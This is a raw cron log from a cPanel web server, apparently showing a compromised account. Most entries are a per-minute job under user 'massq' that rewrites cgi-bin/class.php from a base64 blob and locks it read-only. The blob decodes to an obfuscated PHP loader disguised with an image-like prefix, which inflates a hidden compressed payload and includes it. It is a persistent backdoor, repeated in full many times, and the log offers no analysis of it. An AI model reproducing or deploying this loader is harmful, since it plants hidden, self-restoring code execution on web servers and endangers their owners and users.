Nov 12 06:14:01 server CROND[19312]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 06:15:01 server CROND[20135]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 06:15:01 server CROND[20136]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 06:15:01 server CROND[20139]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 06:15:01 server CROND[20140]: (root) CMD (/usr/local/cpanel/bin/dbindex &gt;/dev/null 2&gt;&amp;1)
Nov 12 06:15:01 server CROND[20141]: (root) CMD (/usr/local/cpanel/scripts/autorepair recoverymgmt &gt;/dev/null 2&gt;&amp;1)
Nov 12 06:16:01 server CROND[21034]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 06:17:01 server CROND[21849]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 06:18:01 server CROND[22764]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 06:19:01 server CROND[23225]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 06:20:01 server CROND[24128]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 12 06:20:01 server CROND[24130]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 06:20:01 server CROND[24135]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 12 06:20:01 server CROND[24142]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 06:20:01 server CROND[24152]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 06:21:01 server CROND[25010]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 06:22:01 server CROND[25642]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 06:23:01 server CROND[26472]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 06:24:01 server CROND[27450]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 06:25:01 server CROND[28275]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 06:25:01 server CROND[28278]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 06:25:01 server CROND[28277]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore &gt;/dev/null 2&gt;&amp;1)
Nov 12 06:25:01 server CROND[28279]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 06:26:01 server CROND[29152]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 06:27:01 server CROND[30000]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
